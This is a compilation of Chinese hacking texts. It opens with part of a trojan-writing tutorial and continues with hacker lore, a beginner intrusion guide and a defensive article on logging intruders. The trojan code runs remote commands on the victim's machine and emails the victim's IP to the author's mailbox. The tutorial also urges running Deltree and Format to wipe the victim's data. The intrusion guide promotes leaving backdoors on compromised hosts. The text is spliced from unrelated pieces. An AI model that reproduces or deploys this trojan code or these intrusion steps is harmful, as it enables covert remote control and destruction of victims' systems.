然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NMSMTP1-Connected) NMSMTP1-Disconnect();
file://如果SMTP服务器已连接则断开
NMSMTP1-Host = "smtp.163.net";
file://选一个好用的SMTP服务器,如163、263、sina和btamail
NMSMTP1-UserID = "";
file://你SMTP的ID
try
{
NMSMTP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NMSMTP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NMSMTP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";
file://将信发到我的邮箱,这一步很关键
NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NMSMTP1-PostMessage-Subject = "Server Runn
如何假装自己是个黑客
开几个CMD窗口,然后用notepad++打开几个看不懂的php或者python文件。
然后就可以拍照装逼了。
伪装黑客代码bat怎么退出?
无限命令行弹窗类的伪装黑客代码可以按ctrl+alt+del打开任务管理器,当然也可以右击任务栏打开任务管理器杀程序,或者可以在开始菜单中点注销,这时候由于开了太多进程(弹窗),系统要一个一个杀完才能关机,等到杀得差不多的时候,点击取消就好了
如何用BAT文件进行远程控制或是入侵??
对于Windows下的.Bat文件,利用它进行编写远程控制的实现并非易事,因为它提供的命令远远不能满足网络通信的需求。当然,如果你愿意的话,你可以采用Linux下的Shell命令进行编写,因为它的功能要比bat的功能强了许多,并且能够轻松调用C代码。另外,为了能够更好地使自己的程序得到入侵的满足,你不得不确保自身所掌握的因特网各个服务的工作机制。比如有些协议只适用于一站式的服务,例如HTTP服务,在这种服务中,客户端连接服务器,发送一个请求,捕获响应信息,然后断开连接。- Blog.sina.com.cn/streethacker
什么是黑客?
黑客
一名黑客(hacker)是一个喜欢用智力通过创造性方法来挑战脑力极限的人,特别是他们所感兴趣的领域,例如电脑编程或电器工程。
黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的。但在媒体报导中,黑客一词往往指那些“软件骇客”(software cracker)。
黑客一词,原指热心于计算机技术,水平高超的电脑专家,尤其是程序设计人员。
但到了今天,黑客一词已被用于泛指那些专门利用电脑搞破坏或恶作剧的家伙。对这些人的正确英文叫法是Cracker,有人翻译成“骇客”。
黑客和骇客根本的区别是:黑客们建设,而骇客们破坏。
黑客一词一般有以下四种意义:
一个对(某领域内的)编程语言有足够了解,可以不经长时间思考就能创造出有用的软件的人。
一个恶意(一般是非法地)试图破解或破坏某个程序、系统及网络安全的人。这个意义常常对那些符合条件(1)的黑客造成严重困扰,他们建议媒体将这群人称为“骇客”(cracker)。有时这群人也被叫做“黑帽黑客”。
一个试图破解某系统或网络以提醒该系统所有者的系统安全漏洞。这群人往往被称做“白帽黑客”或“匿名客”(sneaker)或红客。许多这样的人是电脑安全公司的雇员,并在完全合法的情况下攻击某系统。
一个通过知识或猜测而对某段程序做出(往往是好的)修改,并改变(或增强)该程序用途的人。
“脚本小孩”则指那些完全没有或仅有一点点骇客技巧,而只是按照指示或运行某种骇客程序来达到破解目的的人
著名黑客
Richard Stallman--传统型大黑客,Stallman在1971年受聘成为美国麻省理工学院人工智能实验室程序员。
Ken Thompson和Dennis Ritchie--贝尔实验室的电脑科学操作组程序员。两人在1969年发明了Unix操作系统。
John Draper(以咔嚓船长,Captain Crunch闻名)--发明了用一个塑料哨子打免费电话
Mark Abene(以Phiber Optik而闻名)--鼓舞了全美无数青少年“学习”美国内部电话系统是如何运作的
Robert Morris--康奈尔大学毕业生,在1988年不小心散布了第一只互联网蠕虫。
Kevin Mitnick--第一位被列入fbi通缉犯名单的骇客。
Kevin Poulsen--Poulsen于1990年成功地控制了所有进入洛杉矶地区KIIS-FM电台的电话线而赢得了该电台主办的有奖听众游戏。
Vladimir Levin--这位数学家领导了俄罗斯骇客组织诈骗花旗银行向其分发1000万美元。
Steve Wozniak--苹果电脑创办人之一。
Tsotumu Shimomura--于1994年攻破了当时最着名黑客Steve Wozniak的银行帐户。
Linus Torvalds--他于1991年开发了着名的Linux内核,当时他是芬兰赫尔辛基大学电脑系学生。
Johan Helsingius--黑尔森尤斯于1996年关闭自己的小商店后开发出了世界上最流行的,被称为“penet.fi"的匿名回函程序,他的麻烦从此开始接踵而至。其中最悲惨的就是sceintology教堂抱怨一个penet.fi用户在网上张贴教堂的秘密后芬兰警方在1995年对他进行了搜查,后来他封存了这个回函程序。
Tsutomu Shimomura--能记起他是因为抓了米特尼克。
Eric Raymond--Eric Raymond就一直活跃在计算机界,从事各种各样的计算机系统开发工作。同时,Eric Raymond更热衷于自由软件的开发与推广,并撰写文章、发表演说,积极推动自由软件运动的发展,为自由软件作出了巨大贡献。他写的《大教堂和市集》等文章,是自由软件界的经典美文,网景公司就是在这篇文章的影响下决定开放他们的源代码,使浏览器成为了自由软件大家族中的重要一员
红客 —— 一个让人肃然起敬的名字!
红客可以说是中国黑客起的名字。英文“honker”是红客的译音。
红客,是一群为捍卫中国的主权而战的黑客们!
他们的精神是令人敬佩的!
破解者 —— 喜欢探索软件程序!
破解者 —— Cracker
破解者,他们的目标是一些需要注册的软件。他们通常利用Debug,找出内存中的密码。
蓝客 —— 特别喜欢蓝色的黑客们!
蓝客,也属于黑客群。
蓝客,是指一些利用或发掘系统漏洞,D.o.S(Denial Of Service)系统,或者令个人操作系统(Windows)蓝屏。
“蓝客”一词由中国蓝客联盟(www.cnlanker.com)在2001年9月提出。当初的蓝客联盟(中国蓝客联盟)是一个非商业性的民间网络技术机构,联盟进行有组织有计划的计算机与网络安全技术方面的研究、交流、整理与推广工作,提倡自由、开放、平等、互助的原则。同时还是一个民间的爱国团体,蓝盟的行动将时刻紧密结合时政,蓝盟的一切言论和行动都建立在爱国和维护中国尊严、主权与领土完整的基础上,蓝盟的声音和行动是中华民族气节的体现。中国蓝客联盟(LUC)简称蓝盟,组建于2001年10月1日。2002年4月,公安部门受外交部压力开始调查此次事件,蓝盟核心人员在当月受到公安机关的传讯、调查,计算机被收缴送往上级公安厅取证、调查。后联盟被告知必须无条件无限期关闭网站,并永久停止使用“蓝客联盟”名号。
2002年6月2日,蓝盟在IRC频道召开“中国蓝客联盟告别会”,与会几百位网友了解、见证了蓝盟的组建及被迫关闭的内幕。
中国蓝客联盟只有一个,那便是2001年10月至2002年6月间的 cnlanker.net,那是我们美好的回忆,那是
曾经一起分享胜利的喜悦、共同度过那些灰暗的日子的唯一见证。可惜的是如今这个域名已不在国人手上。
从2002年6月开始,任何自称蓝客联盟或蓝盟的组织、网站均属于其他网友的自发的个人行为,与最初的蓝盟
毫无任何关系。
现在的 cnlanker.com 是最初组建蓝盟的一群人的回忆,蓝盟永远不会重建。
飞客 —— 电信网络的先行者!
飞客,经常利用程控交换机的漏洞,进入并研究电信网络。
虽然他们不出名,但对电信系统作出了很大的贡献!
一.什么是黑客
在力求当一个黑客前,我们要先了解什么是黑客
Hacker -- 黑客
热衷研究、撰写程序的专才,且必须具备乐于追根究底、穷究问题的特质。
在黑客圈中,hacker一词无疑是带有正面的意义,例如system hacker熟悉操作系统的设计与维护;password hacker精于找出使用者的密码,若是computer hacker则是通晓计算机,可让计算机乖乖听话的高手。
黑客基本上是一项业余嗜好,通常是出于自己的兴趣,而非为了赚钱或工作需要。
根据开放原始码计划创始人Eric Raymond对此字的解释,hacker与cracker是分属两个不同世界的族群,基本差异在于,hacker是有建设性的,而cracker则专门搞破坏。
hacker原意是指用斧头砍材的工人,最早被引进计算机圈则可追溯自1960年代。
加州柏克莱大学计算机教授Brian Harvey在考证此字时曾写到,当时在麻省理工学院中(MIT)的学生通常分成两派,一是tool,意指乖乖牌学生,成绩都拿甲等;另一则是所谓的hacker,也就是常逃课,上课爱睡觉,但晚上却又精力充沛喜欢搞课外活动的学生。
这跟计算机有什么关系?一开始并没有。不过当时hacker也有区分等级,就如同tool用成绩比高下一样。真正一流hacker并非整天不学无术,而是会热衷追求某种特殊嗜好,比如研究电话、铁道(模型或者真的)、科幻小说,无线电,或者是计算机。也因此后来才有所谓的computer hacker出现,意指计算机高手。
对一个黑客来说,学会入侵和破解是必要的,但最主要的还是编程,毕竟,使用工具是体现别人的思路,而程序是自己的想法.一句话--编程实现一切!
对于一个骇客来说,他们只追求入侵的快感,不在乎技术,他们不会编程,不知道入侵的具体细节.
"黑客"在人们脑中的形象就是一个蓬头乱发,戴着高度眼镜,驼着背弓着腰,成天趴在电脑面前的人.其实黑客和正常人一模一样,他们并无什么特殊之处.有些人也许很少上电脑,成天运动,工作,但他们的技术和精神已经达到的黑客的标准,有些人天天爬在电脑前,到处瞎混,但他们仍不是黑客.
人们总是认为黑客就是破坏者,其实从某种意义上来说,黑客也在为计算机技术的发展做出很大的贡献.如果没有高明的黑客,就没有资深的网管;如果没有完美的木马,就没有杰出的杀毒软件;没有了黑客,网络技术就很难发展下去.当然,网管其实也是黑客,如果他不知道别人怎么进攻,自己要怎么防守呢??
黑客一词在圈外或媒体上通常被定义为:专门入侵他人系统进行不法行为的计算机高手。不过这类人士在hacker眼中是属于层次较低的cracker(骇客)。如果黑客是炸弹制造专家,那么CRACKER就是恐怖分子.
现在,网络上出现了越来越多的Cracker,他们只会入侵,使用扫描器到处乱扫,用IP炸弹炸人家,毫无目的地入侵,破坏着,他们并无益于电脑技术的发展,反而有害于网络的安全和造成网络瘫痪,给人们带来巨大的经济和精神损失.
我们不能做Cracker,我们要力求当HACKER!!
二.HACKING的预备网络知识
1.什么是IP
IP就是一个地址,在外网没有一个IP是相同的,它就像身份证号码一样,给每台进入网络的电脑一个身份证号码.但是对于大部分用户来说,这个号码是不固定的,在你重新连接到INTERNET时,IP可能会被重新分配.不过有些机器申请了固定的IP,这样就便于其他电脑找到它,并提供服务.一般的IP的格式为: a.b.c.d (0 = a,b,c,d = 255)例如 218.242.161.231 , 212.13.123.52 ..... 由192.168开头的是局域网的IP,127.0.0.1是用来检测网络的自己的IP.就是说任何一台电脑来说,不管是否连接到INTERNET上,127.0.0.1对于自己来说都是自己.就是说,每台电脑都是由4位的256进制数组成的.
2.什么是网络协议,数据包
网络协议就是一套双方约定好的通信协议.就像对暗号一样,有特定的约定来达成连接.其中的"数据包就是一个一个
(1) 面向连接的TCP协议
TCP是面向连接的.“面向连接”就是在正式通信前必须要与对方建立起连接。比如你给别人打电话,必须等线路接通了、对方拿起话筒才能相互通话。TCP(Transmission Control
Protocol,传输控制协议)是基于连接的协议,也就是说,在正式收发数据前,必须和对方建立可靠的连接。一个TCP连接必须要经过三次“对话”才能建立起来,其中的过程非常复杂,我们这里只做简单、形象的介绍,你只要做到能够理解这个过程即可。我们来看看这三次对话的简单过程:主机A向主机B发出连接请求数据包:“我想给你发数据,可以吗?”,这是第一次对话;主机B向主机A发送同意连接和要求同步(同步就是两台主机一个在发送,一个在接收,协调工作)的数据包:“可以,你什么时候发?”,这是第二次对话;主机A再发出一个数据包确认主机B的要求同步:“我现在就发,你接着吧!”,这是第三次对话。三次“对话”的目的是使数据包的发送和接收同步,经过三次“对话”之后,主机A才向主机B正式发送数据。TCP协议能为应用程序提供可靠的通信连接,使一台计算机发出的字节流无差错地发往网络上的其他计算机,对可靠性要求高的数据通信系统往往使用TCP协议传输数据。
(2) 面向非连接的UDP协议
“面向非连接”就是在正式通信前不必与对方先建立连接,不管对方状态就直接发送。这与现在风行的手机短信非常相似:你在发短信的时候,只需要输入对方手机号就OK了。UDP(User Data Protocol,用户数据报协议)是与TCP相对应的协议。它是面向非连接的协议,它不与对方建立连接,而是直接就把数据包发送过去!UDP协议是面向非连接的协议,没有建立连接的过程。正因为UDP协议没有连接的过程,所以它的通信效果高;但也正因为如此,它的可靠性不如TCP协议高。QQ就使用UDP发消息,因此有时会出现收不到消息的情况。
附表:tcp协议和udp协议的差别
|---------------------------------|
| 属性\协议 |TCP |UDP |
|------------+---------+----------|
|是否连接 |面向连接 |面向非连接|
|------------+---------+----------|
|传输可靠性 |可靠 |不可靠 |
|------------+---------+----------|
|应用场合 |大量数据 |少量数据 |
|------------+---------+----------|
|速度 |慢 |快 |
|---------------------------------|
(3)什么是端口(PORT)
PORT,意思为港口,但在电脑里叫端口.但是端口不是形象的,而是抽象的.电脑上有很多的端口(65535个),但是它们大部分都不开,每个网络连接都要用一个端口,就象把用一跟线把两个电脑连起来,插座就是端口.有些端口有他们特定的用途,例如网页服务器要开80端口,FTP服务器要开21端口
常用端口
21--ftp 下载
23--telnet 远程登陆,入侵后打开给自己留后门
25-smtp 尽管重要,但似乎没什么可利用的
53--domain 同上
79--finger 可知道用户信息了,但是现在很少了
80--http HTTP服务器
110--pop 收信的
139(445)--netbios 共享,远程登陆,很有价值,但是有经验的人不开
135--RPC 远程溢出的大洞的端口
3389--win2000超级终端
我们在入侵成功后就要为自己运行木马,打开一个端口,为自己以后回来留后门.
(4)什么是服务
服务就是SERVICE,例如要做HTTP服务器的就要安装World Wide Web Publishing服务.服务,是为他人提供服务的程序,这个程序会在开机时自动加载,并打开端口等待对方连接并向对方提供服务.我们可以在入侵对方机器后,启动或安装一些服务(SUCH AS 远程桌面,TELNET...),这些服务都是MICROSOFT的,所以不用担心被杀毒的发现.在开了一些远程管理的服务后,我们就可以很方便地回到被侵入过的主机了.
常见的服务列表:
名称 默认端口 98可装 2000Pro 2000SERVER
FTP 提供下载服务 21 x x o
SSH LINUX远程登陆 22 x x x
TELNET WINDOWS远程命令行管理 23 x o o
Simple Mail 邮件服务器 25 x x o
Finger 可以知道用户信息,现在很少了 79 x x x
WWW HTTP 网页服务器 80 x x o
pop2 一种邮件服务 109 x x o
pop3 同上 110 x x o
RpcDcom 最大的溢出漏洞的所在 135 x o默认 o默认
NetBios 共享,远程登陆,很有利用价值 139 o(无价值) o默认 o默认
REMOTE SERVICE 图形界面的远程登陆,最有价值 3389 x x o(强烈推荐)
(5)常用的工具
HACKER用的工具,大致可分这几种:
[1]扫描器
在攻击一个目标前要先了解对方开了什么端口,在扫肉鸡时要知道那些肉鸡开了端口可以被入侵.扫描器就是帮助你寻找攻击对象或了解攻击对象存在什么漏洞,开了什么端口.常用的扫描器有SUPERSCAN,X-SCAN,IP TOOLS....强烈推荐SUPERSCAN和X-SCAN.如果你在扫开端口的机器时,用SUPERSCAN,因为它快;在扫漏洞时,用X-SCAN,因为它功能全!!
[2]溢出工具
溢出就是把比一个寄存器能存放的东西还多的东西放到一个寄存器里,然后就造成溢出,使系统运行准备好了的SHELL CODE.
溢出的VB例子:
dim a as integer
a=111111111111111
在找到一些有溢出漏洞的机器后,就用溢出工具来对它进行溢出,然后直接拿到SHELL或帐号.
[3]后门程序
后门的服务端,安装在肉鸡上,开机自动等待对方控制.以前的后门都是一个标准的SOCKET在某个端口监听,但是这样很容易被发现,于是便出现了ICMP后门.但是现在的主流还是用TCP的后门.常用的后门有:冰河,TELNET(是WINDOWS的远程管理服务,用OPENTELNET可以远程开启TELNET服务!),DJXYXS.EXE(用来开SERVER的3389服务)
[4]连接工具
其实就是后门客户端.WINDOWS自带了很多,例如3389登陆器的MSTSC.EXE,TELNET客户端TELNET.EXE.......强烈推荐NC,它把许多网络功能汇集到了一起!
[5]破解密码程序
就是用很多的字符串来猜测密码.当猜不到时,就只好死算,A不行换B,B不行换C,C不行换D.......总之很浪费时间,密码长点1年都破不出来,不推荐
[6]进程程序
用来管理进程的,有PSECEC.EXE(远程开别人SHELL的,像TELNET一样,不过对方不需开),PSKILL.EXE(远程,本地杀进程),PSLIST.EXE(远程,本地查看进程).PS系列的3个程序是十分有用的,本人强烈推荐!!它不仅仅能够帮助你管理远程的肉鸡,而且在杀病毒时十分有用,它能杀掉WINDOWS TASK MANAGER杀不掉的进程.
(6)黑前准备
[1]首先,你要有一台能跑的电脑(这不是废话吗),
[2]是要有操作系统(最好是一个WINDOWS 2000 SERVER,一个LINUX,没LINUX也可以,2000PRO也可以,不过2000SERVER可以给自己练习,强烈推荐SERVER)
[3]有网络,最好是宽带,不是的话要有快的肉鸡才行.
[3]安装一个防火墙,推荐天网2.5.1
[4]注册一个QQ,有邮箱,注册一个空间(注册地址www.websamba.com,支持FTP,WWW)
[5]别急,把前面的文章再看一便(别K我)
三.学习使用DOS基础命令
使用DOS是黑客最最基本的技能,每个人都要会熟练的使用DOS,使用2000的DOS,不用任何工具就可以完成一次入侵,而且大部分的工具都是在DOS窗口的环境下运行的,所以大家一定要学好!!
(1)如何启动DOS
这里说到的DOS,是XP,2000自带的DOS,98正因为对网络的支持很差,所以我们不能入侵98,也不能用98来入侵.所以用98的朋友请把98换成2000或者XP,NT,2003.
DOS在2000里就是CMD.EXE,98里是COMMAND.EXE(2000里也有COMMAND.EXE,不过这个DOS是不支持中文的).启动方法:开始,运行,CMD (或者COMMAND),确定.然后跳出来以下画面:
C:\documents and Settings\Administratorcmd
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
C:\documents and Settings\Administrator
==================================================================================================
《黒客有什么可怕 设个陷阱逮住他》
如今网上黑客横行,稍不留神就可能被黑客光顾,避如前段时间我们空间商的服务器就被入侵了,数据都被删光了,所以要想在网上生存,做好安全措施是必不可少的。一般我们都只重视对机器进行安全设置,而往往忽略了被入侵后的信息收集问题,今天我就介绍三种让黑客留下痕迹的方法,希望能对大家有所帮助。
一、利用“木马”进行记录
1.木马简介
这里要用到的是一个很特殊的dll木马,它可以把通过终端登陆的用户名、密码,以及域信息记录到指定文件中。不要以为这些信息没什么用哦!有时候就得靠这些零散的信息来找入侵的人。
下载地址:http://www.chinesehack.org/down/show.asp?id=3770;down=1
在下载的压缩包内,有三个文件:
SysGina32.dll--这个就是可以记录用户名和密码的东东了。
Gina.exe--这是安装DLL木马用的程序,有了它后安装起来就很方便了。
使用方法.txt--这个很熟悉吧!中文帮助文件哦!有什么不懂的可以查查。
2.安装木马
先把SysGina32.dll和Gina.exe放在同一目录下,并将Gina.exe改名为svchost.exe(你也可以改成其它名字,为的是不让黑客注意到),然后打开CMD,切换到保存这两个文件的文件夹,输入命令:svchost.exe -install,当出现“All Done,Gina setup success”信息时,安装就成功了。
注意:
a.该木马已被杀毒软件查杀,所以安装时请关闭杀毒软件(不是关闭防火墙哦!),而且以后重启时杀毒软件不能一起启动,以后杀一次毒重新装一次该木马。不过如果你能让该木马不被杀毒软件的话,那就没这么麻烦了。
b.为了不让黑客发现我们设的陷阱,最好将Gina.exe文件改名,而且要改的艺术一点,比如上面我把它改成了“svchost.exe”,这样就很难发现了,如果你改成了其它名字,安装时命令就要换成“文件名.exe -install”。
c.SysGina32.dll和Gina.exe这两个文件不一定要复制到系统安装目录的system32下,不过最好不要太引人注意,如果被黑客发现,那就可能适得其反了(木马也会记下你的密码的)。
d.如果出现的信息是“Found Exist Gina”,这说明你机器已经装过该木马了,此时键入“Y”覆盖即可。
3.查看“踪迹”
经过以上设置后,如果有人通过终端服务登录你的机器,那么他的用户名和密码就会被记录到“C:\WINNT\system32\GinaPwd.txt”这个文件中,打开这文件就可以看到入侵者的踪迹了。由于该木马也会记录你的密码,所以每次进入机器时,请先打开GinaPwd.txt这文件,把你的用户名和密码删掉,顺便查一下有没有其它人登录过。
4.删除木马
如果你的机器不幸被人中了该木马,那么请按如下方法删除:
先下载该木马,在CMD下输入命令:gina.exe -remove,当出现“ Gina Dll was removed success”时(如图3),就表示删除成功了,接着重启机器即可。
注意:如果你把gina.exe改名了,命令也要做相应改变:文件名.exe -remove。
二、写个批处理记录黑客行踪
1.认识批处理
对于批处理文件,你可以把它理解成批量完成你指定命令的文件,它的扩展名为 .bat 或 .cmd,只要在文本文件中写入一些命令,并把它保存为.bat 或 .cmd格式,然后双击该文件,系统就会按文本文件中的命令逐条执行,这样可以节省你许多的时间。
2.编写批处理文件
打开记事本,然后输入如下命令:
@echo off
date /t d:\3389.txt
attrib +s +h d:\3389.bat
attrib +s +h d:\3389.txt
time /t d:\3389.txt
netstat -an |find "ESTABLISHED" |find ":3389" d:\3389.txt
然后把文件保存为d:\3389.bat,这里我解释一下命令的意思,date和time是用于获取系统时间的,这样可以让你知道黑客在某天的某个时刻入侵。“attrib +s +h d:\3389.bat”和“attrib +s +h d:\3389.txt”这两个命令是用来隐藏3389.bat和3389.txt这两个文件的,因为在登录时,由于会启动d:\3389.bat这个文件,所以会有一个CMD窗口一闪而过,有经验的黑客应该能判断出这窗口是记录用的,所以他可能会到处找这个记录文件,用了以上两个命令后,即使他用系统自带的搜索功能以3389为关键字进行搜索,也找不到上面3389.bat和3389.txt这两个文件,哈哈!很棒吧!至于“netstat -an |find "ESTABLISHED" |find ":3389" d:\3389.txt”这个命令则是记录通过终端的连结状况的,明白了吧!
接下来我们要让系统启动时自动运行d:\3389.bat这文件,我用的方法是修改注册表,依次展开:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon,找到“Userinit”这个键值,这个键值默认为c:\WINNT\system32\userinit.exe,不知你注意到没有,在最后有一个逗号,我们要利用的就是这逗号,比如我上面写的3389.bat文件路径为d:\3389.bat,那么我只要在逗号后面加上“d:\3389.bat”即可,这样启动时3389.bat这文件就会运行,选这个键值的原因是因为它隐蔽,如果是加在Run键值下的话是很容易被发现的。最后提醒一点,键值末尾的逗号别忘了加上去哦!
4.查看记录
前面我们用了attrib命令把3389.bat和3389.txt这两个文件隐藏起来,下面我们来让它们重新显示。
打开CMD,切换到保存这两个文件的路径,这里是切换到“d:\”目录,输入命令:attrib -s -h d:\3389.bat和attrib -s -h d:\3389.txt,这时再到d盘看看,是不是出现了?打开文件即可查看登录情况,从图中我们可以看出,10.51.5.36这IP连结到了我的3389端口(我的IP是10.51.5.35)。
三、记录黑客动作
有了以上两道防线,我们就能知道黑客的用户名、密码、以及入侵时的IP了,不过这样好像还不够,要是能知道黑客都干了些什么就更好了,下面我们再设置一个陷阱,这里要用到的工具是“计算机系统日志”。
下载地址:http://js-http.skycn.net:8080/down/syslog.zip
该软件的特色就是可以在后台记录所有运行过的程序和窗口名称,并且有具体的时期,以及登录的用户名,很恐怖哦!下面咱们来设陷阱吧!
1.记录日志
双击压缩包内的主程序,点击“软件试用”进入主界面,在“日志文件保存路径”处点击“浏览”选择保存路径并进行命名,这里保存在c:\winnt\log.txt。然后钩选“日志记录随计算机自动启动”。
注意:
a.为了防止黑客找到记录日志的文件,你可以用上面提到的命令:attrib +s +h c:\winnt\log.txt进行隐藏。
b.最好不要将这个记录文件和上面的3389.txt放一个目录下,这样万一被发现其中一个,不至于使另一个也一同被发现。
c.软件在“任务管理器”的进程中显示名称为“syslog”,而且未注册版本会在20分钟后自动停止记录,所以只能用来对付菜鸟黑客啦!而且还得先花点“银子”,哈哈!
接下来在“程序密码保护”处输入一个复杂点的密码,点击“开始日志”。这时软件会提醒你隐藏后的热键为“Ctrl+Q”,请记住这个热键,以后要唤出软件时就得靠它了。
2.查看动作
想知道这样设置后记录下来的东西是什么样吗?那就快来看看吧。怎么样?对这种记录结果你还满意吗?